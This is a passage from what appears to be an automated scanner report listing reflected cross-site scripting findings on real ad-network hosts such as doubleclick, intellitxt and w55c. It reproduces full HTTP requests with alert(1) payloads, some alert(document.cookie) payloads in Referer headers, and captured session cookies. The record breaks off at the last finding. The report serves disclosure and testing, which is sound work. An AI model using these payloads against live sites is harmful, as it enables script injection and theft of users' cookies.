The value of the mfg request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 54760'-alert(1)-'16463c601ed was submitted in the mfg parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/oiq.man.homeappliance/;mfg=145;tile=1;sz=720x90,728x90;ord=1296942753;u=mfg_145%7Csid_54760'-alert(1)-'16463c601ed HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%2527%253balert%25281%2529%252f%252f35f276845e/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sat, 05 Feb 2011 22:27:23 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 368

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3aa5/0/0/%2a/e;227869739;0-0;0;41185174;3454-728/90;37969501/37987258/1;u=mfg_145|sid_54760'-alert(1)-'16463c601ed;~sscs=%3fhttp://owneriq.com/advertisers?src=728x90_blue">
...[SNIP]...

4.16. http://ad.doubleclick.net/adj/oiq.man.homeappliance/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/oiq.man.homeappliance/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e06e3'-alert(1)-'618b2b40360 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/oiq.man.homeappliance/;tile=1;sz=720x90,728x90;ord=1296942794;u=sid_&e06e3'-alert(1)-'618b2b40360=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sat, 05 Feb 2011 22:26:09 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 363

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3aa5/0/0/%2a/e;227869739;0-0;0;41185174;3454-728/90;37969501/37987258/1;u=sid_&e06e3'-alert(1)-'618b2b40360=1;~sscs=%3fhttp://owneriq.com/advertisers?src=728x90_blue">
...[SNIP]...

4.17. http://ad.doubleclick.net/adj/oiq.man.homeappliance/ [tile parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/oiq.man.homeappliance/

Issue detail

The value of the tile request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 19620'-alert(1)-'d06efb22ec was submitted in the tile parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/oiq.man.homeappliance/;tile=1;sz=720x90,728x90;ord=1296942794;u=sid_19620'-alert(1)-'d06efb22ec HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sat, 05 Feb 2011 22:25:57 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 359

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3aa5/0/0/%2a/e;227869739;0-0;0;41185174;3454-728/90;37969501/37987258/1;u=sid_19620'-alert(1)-'d06efb22ec;~sscs=%3fhttp://owneriq.com/advertisers?src=728x90_blue">
...[SNIP]...

4.18. http://appcdn.wibiya.com/Handlers/newsticker.php [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://appcdn.wibiya.com
Path:	/Handlers/newsticker.php

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 270ed<script>alert(1)</script>529ef0f2bb5 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Handlers/newsticker.php?callback=jsonp_2715064_0270ed<script>alert(1)</script>529ef0f2bb5&url=http%3A//www.kledy.de/rss_dts.php HTTP/1.1
Host: appcdn.wibiya.com
Proxy-Connection: keep-alive
Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1
Cache-Control: max-age=0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1286380163-1295459907704

Response

HTTP/1.1 200 OK
Cache-Control: max-age=3600
Content-Type: text/html; charset=UTF-8
Date: Sat, 05 Feb 2011 23:08:34 GMT
Expires: Sun, 06 Feb 2011 00:08:34 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.4 with Suhosin-Patch
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6-3ubuntu4.4
Content-Length: 51609

jsonp_2715064_0270ed<script>alert(1)</script>529ef0f2bb5({"name":"Kledy.de | Aktuelle News","posts":[{"title":"Lottozahlen vom Samstag (05.02.2011)","description":" In der Samstags-Ausspielung von "6 aus 49" des Deutschen Lotto- und Totoblocks wurde
...[SNIP]...

4.19. http://ar.voicefive.com/b/rc.pli [func parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/b/rc.pli

Issue detail

The value of the func request parameter is copied into the HTML document as plain text between tags. The payload 115a8<script>alert(1)</script>512fdd36cd3 was submitted in the func parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /b/rc.pli?func=COMSCORE.BMX.Broker.handleInteraction115a8<script>alert(1)</script>512fdd36cd3&n=ar_int_p68511049&1296999647490 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://redacted/MRT/iview/264255445/direct;wi.300;hi.250/01/1354764918?click=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBcyT_rqROTdLmI6iAlgf8zqmDD8WH7_4Bldn30BfAjbcB4JPpARABGAEg0OXxAjgAYMmGo4fUo4AQsgEIdGlwZC5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3RpcGQuY29tL3JlZ2lzdGVy4AEDuAIYyAKt1cMb4AIA6gIcdGlwZC1PdGhlcnMyX3NpZGViYXJfMzAweDI1MJAD6AKYA-gCqAMB0QNO9fRQWewlKugDhwfoA2voA-AC6APrBPUDAAIAxOAEAQ%26num%3D1%26sig%3DAGiWqtxTgjZHpd2on74ev1YZd4H94e6BEA%26client%3Dca-pub-7786708287155161%26adurl%3D
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&; ar_p85001580=exp=43&initExp=Wed Jan 26 20:14:29 2011&recExp=Sat Feb 5 15:06:35 2011&prad=58087444&arc=40401508&; ar_p68511049=exp=6&initExp=Mon Jan 31 16:31:23 2011&recExp=Sun Feb 6 13:40:00 2011&prad=264255445&arc=185637072&; BMX_3PC=1; UID=1d29d89e-72.246.30.75-1294456810; BMX_G=method%2D%3E%2D1%2Cts%2D%3E1296999600%2E136%2Cwait%2D%3E10000%2C

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Feb 2011 13:40:10 GMT
Content-Type: application/x-javascript
Connection: close
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 83

COMSCORE.BMX.Broker.handleInteraction115a8<script>alert(1)</script>512fdd36cd3("");

4.20. http://baselinemag.us.intellitxt.com/al.asp [jscallback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://baselinemag.us.intellitxt.com
Path:	/al.asp

Issue detail

The value of the jscallback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 3edca%3balert(1)//64bba91453a was submitted in the jscallback parameter. This input was echoed as 3edca;alert(1)//64bba91453a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /al.asp?ts=20110206132315&adid=401622%2C401622%2C401622&cc=us&di=29166142%2C28321520%2C28321702&hk=1&ipid=12630&mh=167defd4b82c3759d8e6179eb5de4354&pid=2%2C2%2C2&pvm=b60133d74d36fa666d2419a757f62f74&pvu=F09FDD7F3F444C1FA642829D016326B5&rcc=us&so=0&syid=0%2C0%2C0&uf=0%2C0%2C0&ur=0%2C0%2C0&kp=328%2C930%3B336%2C984%3B245%2C1284%3B&prf=ll%3A1385%7Cintl%3A1992%7Cpreprochrome%3A6%7Cgetconchrome%3A27%7Cadvint%3A2035%7Cadvl%3A2035%7Ctl%3A2151&jscallback=$iTXT.js.callback13edca%3balert(1)//64bba91453a HTTP/1.1
Host: baselinemag.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAwAAArrAQAAAAMAAAEt98vDoAAAAS332v9sAAABLffbZhUAAArYAQAAAAIAAAEt99r/bAAAAS3322YVAAAK6gEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAKywEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAK6QEAAAACAAABLffa/2wAAAEt99tmFQAACugBAAAAAQAAAS33y8OgAAAPpgEAAAACAAABLffa/2wAAAEt99tmFQAACs0BAAAAAQAAAS33y8OgAAAKzAEAAAABAAABLffLw6AAAArSAQAAAAEAAAEt98vDoAAABBUBAAAAAQAAAS2qBrSKAAAK1QEAAAABAAABLffLw6AAAAAAnwCngQ--"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wcAAAEt+yNLhQA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wcAAAEt+yNLhQA-; Domain=.intellitxt.com; Expires=Thu, 07-Apr-2011 13:23:40 GMT; Path=/
Content-Type: text/javascript
Content-Length: 65
Date: Sun, 06 Feb 2011 13:23:40 GMT
Connection: close

try{$iTXT.js.callback13edca;alert(1)//64bba91453a();}catch(e){}

4.21. http://baselinemag.us.intellitxt.com/intellitxt/front.asp [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://baselinemag.us.intellitxt.com
Path:	/intellitxt/front.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 91531'-alert(1)-'750bcc2e0e0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /intellitxt/front.asp?ipid=12630&91531'-alert(1)-'750bcc2e0e0=1 HTTP/1.1
Host: baselinemag.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAwAAArrAQAAAAMAAAEt98vDoAAAAS332v9sAAABLffbZhUAAArYAQAAAAIAAAEt99r/bAAAAS3322YVAAAK6gEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAKywEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAK6QEAAAACAAABLffa/2wAAAEt99tmFQAACugBAAAAAQAAAS33y8OgAAAPpgEAAAACAAABLffa/2wAAAEt99tmFQAACs0BAAAAAQAAAS33y8OgAAAKzAEAAAABAAABLffLw6AAAArSAQAAAAEAAAEt98vDoAAABBUBAAAAAQAAAS2qBrSKAAAK1QEAAAABAAABLffLw6AAAAAAnwCngQ--"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gQAAAEt99ts1wA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wUAAAEt+yJhIgA-; Domain=.intellitxt.com; Expires=Thu, 07-Apr-2011 13:21:30 GMT; Path=/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wUAAAEt+yJhIgA-; Domain=.intellitxt.com; Expires=Thu, 07-Apr-2011 13:21:30 GMT; Path=/
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Sun, 06 Feb 2011 13:21:29 GMT
Content-Length: 10716

document.itxtDisabled=1;
document.itxtDebugOn=false;
if(document.itxtDisabled){
document.itxtInProg=1;
if ('undefined'== typeof $iTXT){$iTXT={};};if (!$iTXT.cnst){$iTXT.cnst={};} if (!$iTXT.debug){$iT
...[SNIP]...
qoptions={tags:"1480.3017.12630"};_qacct="p-fdwEfW0hIeH9U";$iTXT.js.load("http://edge.quantserve.com/quant.js");$iTXT.js.serverUrl='http://baselinemag.us.intellitxt.com';$iTXT.js.pageQuery='ipid=12630&91531'-alert(1)-'750bcc2e0e0=1';$iTXT.js.umat=true;$iTXT.js.startTime=(new Date()).getTime();if (document.itxtIsReady) {document.itxtLoadLibraries();};
}

4.22. http://baselinemag.us.intellitxt.com/v4/init [jscallback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://baselinemag.us.intellitxt.com
Path:	/v4/init

Issue detail

The value of the jscallback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 19f15%3balert(1)//734f2337570 was submitted in the jscallback parameter. This input was echoed as 19f15;alert(1)//734f2337570 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /v4/init?ts=1296998594508&pagecl=48119&fv=10&muid=&refurl=http%3A%2F%2Fwww.baselinemag.com%2Fc%2Fa%2FIT-Management%2FMacys-Ramps-Up-Online-Operations-637464%2F&ipid=12630&jscallback=$iTXT.js.callback019f15%3balert(1)//734f2337570 HTTP/1.1
Host: baselinemag.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAwAAArrAQAAAAMAAAEt98vDoAAAAS332v9sAAABLffbZhUAAArYAQAAAAIAAAEt99r/bAAAAS3322YVAAAK6gEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAKywEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAK6QEAAAACAAABLffa/2wAAAEt99tmFQAACugBAAAAAQAAAS33y8OgAAAPpgEAAAACAAABLffa/2wAAAEt99tmFQAACs0BAAAAAQAAAS33y8OgAAAKzAEAAAABAAABLffLw6AAAArSAQAAAAEAAAEt98vDoAAABBUBAAAAAQAAAS2qBrSKAAAK1QEAAAABAAABLffLw6AAAAAAnwCngQ--"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wcAAAEt+yNLhQA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Sun, 06 Feb 2011 13:22:54 GMT
Connection: close
Content-Length: 12169

var undefined;if(null==$iTXT.glob.dbParams||undefined==$iTXT.glob.dbParams){$iTXT.glob.dbParams=new $iTXT.data.Param(undefined,undefined,undefined,'DATABASE');}$iTXT.glob.dbParams.set({"searchengine.h
...[SNIP]...
arams.set('minimagew',180);$iTXT.data.Context.params.set('minimageh',200);$iTXT.data.Context.params.set('intattrs','alt,title,href,src,name');$iTXT.data.Dom.detectSearchEngines();try{$iTXT.js.callback019f15;alert(1)//734f2337570({"requiresContextualization":0,"requiresAdverts":1});}catch(e){}

4.23. http://baselinemag.us.intellitxt.com/v4/init [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://baselinemag.us.intellitxt.com
Path:	/v4/init

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aa9e1"-alert(1)-"d53ef40e92d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /v4/init?ts=1296998594508&pagecl=48119&fv=10&muid=&refurl=http%3A%2F%2Fwww.baselinemag.com%2Fc%2Fa%2FIT-Management%2FMacys-Ramps-Up-Online-Operations-637464%2F&ipid=12630&jscallback=$iTXT.js.callback0&aa9e1"-alert(1)-"d53ef40e92d=1 HTTP/1.1
Host: baselinemag.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAwAAArrAQAAAAMAAAEt98vDoAAAAS332v9sAAABLffbZhUAAArYAQAAAAIAAAEt99r/bAAAAS3322YVAAAK6gEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAKywEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAK6QEAAAACAAABLffa/2wAAAEt99tmFQAACugBAAAAAQAAAS33y8OgAAAPpgEAAAACAAABLffa/2wAAAEt99tmFQAACs0BAAAAAQAAAS33y8OgAAAKzAEAAAABAAABLffLw6AAAArSAQAAAAEAAAEt98vDoAAABBUBAAAAAQAAAS2qBrSKAAAK1QEAAAABAAABLffLw6AAAAAAnwCngQ--"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wcAAAEt+yNLhQA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Sun, 06 Feb 2011 13:22:55 GMT
Content-Length: 12150

var undefined;if(null==$iTXT.glob.dbParams||undefined==$iTXT.glob.dbParams){$iTXT.glob.dbParams=new $iTXT.data.Param(undefined,undefined,undefined,'DATABASE');}$iTXT.glob.dbParams.set({"searchengine.h
...[SNIP]...
4508","dma":623,"POSTCODE":"75207","user-agent":"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13","REGIONNAME":"Texas","muid":"","aa9e1"-alert(1)-"d53ef40e92d":"1","city":"Dallas","jscallback":"$iTXT.js.callback0","reg":"tx","refurl":"http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/","rcc":"us","cc":"us"},null,60);var un
...[SNIP]...

4.24. http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0R8lWflQ0f_326769041.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62043"><script>alert(1)</script>6de2e5bdc2d was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0R8lWflQ0f_326769041.html?rtbhost=rts-rr13.sldc.dataxu.net&btid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkN8ZDA3NTFmYzItZjJkNS00NTY4LTlmMDMtMjJjYjVmZDA3NTU4fDEyOTY5NDI1NDI5NzF8MXwwRnJrVmZKY3hBfDBSOGxXZmxRMGZ8TURvMGxWVzRKS0RNNkxyVkdqdDV2ZUtjdUJINjNiV1F862043"><script>alert(1)</script>6de2e5bdc2d&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TU3FzQAEo-kK5XsU5TApbEC2JVNdMc7sOaGvXw&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZya1ZmSmN4QQ&ciu=MFI4bFdmbFEwZg&reqid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkM&ccw=SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjB8SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjA&epid=&bp=4400&dv=&dm=&dc=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fwww.orthougm.com%2F&refurl= HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0813152173226346&output=html&h=60&slotname=3865030659&w=468&lmt=1296964160&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2F&dt=1296942560320&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765&correlator=1296942560294&frm=0&adk=2257162608&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1263121855&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&fu=0&ifi=3&dtd=3&xpc=dnlnsmkeRR&p=http%3A//www.orthougm.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchrubicon=1; matchgoogle=1; matchappnexus=1; wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:50:58 GMT
Server: w55c.net
Cache-Control: no-cache, no-store
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Set-Cookie: wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ;Path=/;Domain=.w55c.net;Expires=Mon, 04-Feb-13 21:49:14 GMT
Nncoection: close
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Thu, 06 Jan 2011 16:51:47 GMT
Age: 3496
pragma: no-cache
Via: 1.1 mdw061004 (MII-APC/1.6)
Content-Length: 3451

<div style="height: 0; line-height: 0; border: 0; margin: 0; padding: 0; display: none; "><img src="http://rts-rr13.sldc.dataxu.net/x/bcs0?btid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkN8ZDA3NTFmYzItZjJkNS00NTY4LTlmMDMtMjJjYjVmZDA3NTU4fDEyOTY5NDI1NDI5NzF8MXwwRnJrVmZKY3hBfDBSOGxXZmxRMGZ8TURvMGxWVzRKS0RNNkxyVkdqdDV2ZUtjdUJINjNiV1F862043"><script>alert(1)</script>6de2e5bdc2d&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TU3FzQAEo-kK5XsU5TApbEC2JVNdMc7sOaGvXw" />
...[SNIP]...

4.25. http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html [ei parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0R8lWflQ0f_326769041.html

Issue detail

The value of the ei request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 19116"><script>alert(1)</script>eb6398a7c was submitted in the ei parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

